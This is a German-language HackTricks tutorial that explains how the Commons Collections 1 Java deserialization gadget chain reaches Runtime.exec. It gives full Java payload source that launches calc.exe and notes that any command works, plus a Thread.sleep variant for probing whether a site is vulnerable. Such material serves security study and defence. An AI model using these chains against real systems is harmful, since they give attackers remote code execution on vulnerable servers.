hacktricks/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md

# CommonsCollection1 Payload - Java Transformers zur Ausführung von Rutime exec() und Thread Sleep

<details>

<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version von PEASS oder HackTricks im PDF-Format** haben? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das [hacktricks repo](https://github.com/carlospolop/hacktricks) und [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)** einreichen.

</details>

## Java Transformers zur Ausführung von Rutime exec()

An verschiedenen Stellen finden Sie eine Java-Deserialisierungspayload, die Transformers von Apache Common Collections verwendet, wie die folgende:
```java
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");
}
}
```
Wenn Sie nichts über Java-Deserialisierungspayloads wissen, kann es schwierig sein, herauszufinden, warum dieser Code einen Taschenrechner ausführt.

Zunächst einmal müssen Sie wissen, dass ein **Transformer in Java** etwas ist, das eine Klasse **erhält** und sie in eine andere **umwandelt**.\
Es ist auch interessant zu wissen, dass die hier **ausgeführte Payload** **äquivalent** zu folgendem ist:
```java
Runtime.getRuntime().exec(new String[]{"calc.exe"});
```
Oder **genauer gesagt**, was am Ende ausgeführt wird, wäre:
```java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
```
### Wie

Also, wie ist das erste Payload-Beispiel äquivalent zu diesen "einfachen" Einzeilern?

**Zunächst einmal** kann man im Payload erkennen, dass eine **Kette (Array) von Transformationen erstellt wird**:
```java
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),

//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),

//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),

//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
```
Wenn Sie den Code lesen, werden Sie feststellen, dass Sie durch das Verketten der Transformation des Arrays in der Lage sind, beliebige Befehle auszuführen.

Also, **wie werden diese Transformationen verknüpft?**
```java
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");
```
Im letzten Abschnitt der Payload sehen Sie, dass ein **Map-Objekt erstellt wird**. Anschließend wird die Funktion `decorate` von `LazyMap` mit dem Map-Objekt und den verketteten Transformers ausgeführt. Aus dem folgenden Code geht hervor, dass dadurch die **verketteten Transformers** in das Attribut `lazyMap.factory` kopiert werden:
```java
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
```
Und dann wird das große Finale ausgeführt: `lazyMap.get("anything");`

Dies ist der Code der `get` Funktion:
```java
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
```
Und dies ist der Code der `transform` Funktion:
```java
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
```
Also, erinnern Sie sich daran, dass wir innerhalb der **Factory** den **`chainedTransformer`** gespeichert haben und innerhalb der **`transform`**-Funktion gehen wir alle diese verketteten Transformer durch und führen sie nacheinander aus. Das Lustige ist, dass **jeder Transformer `object` als Eingabe verwendet** und **`object` das Ergebnis des zuletzt ausgeführten Transformers ist**. Daher werden **alle Transformationen verkettet und führen die bösartige Nutzlast aus**.

### Zusammenfassung

Am Ende, aufgrund der Art und Weise, wie lazyMap die verketteten Transformer innerhalb der `get`-Methode verwaltet, ist es so, als ob wir den folgenden Code ausführen würden:
```java
Object value = "someting";

value = new ConstantTransformer(Runtime.class).transform(value); //(1)

value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)

value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)

value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)
```
_Beachten Sie, wie `value` die Eingabe jedes Transformationsvorgangs ist und das Ergebnis der vorherigen Transformation, was die Ausführung eines Einzeilers ermöglicht:_
```java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
```
Beachten Sie, dass hier die Gadgets erklärt wurden, die für das ComonsCollections1-Payload verwendet werden. Aber es bleibt unklar, wie das alles gestartet wird. Sie können hier sehen, dass ysoserial, um dieses Payload auszuführen, ein `AnnotationInvocationHandler`-Objekt verwendet, da dieses Objekt, wenn es deserialisiert wird, die Funktion `payload.get()` aufruft, die das gesamte Payload ausführt.

## Java Thread Sleep

Dieses Payload kann nützlich sein, um festzustellen, ob die Website anfällig ist, da es einen Sleep ausführt, wenn dies der Fall ist.
```java
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");

}
}
```
## Weitere Gadgets

Weitere Gadgets finden Sie hier: [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)

##

<details>

<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version von PEASS oder HackTricks im PDF-Format** haben? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das [hacktricks repo](https://github.com/carlospolop/hacktricks) und das [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)** einreichen.

</details>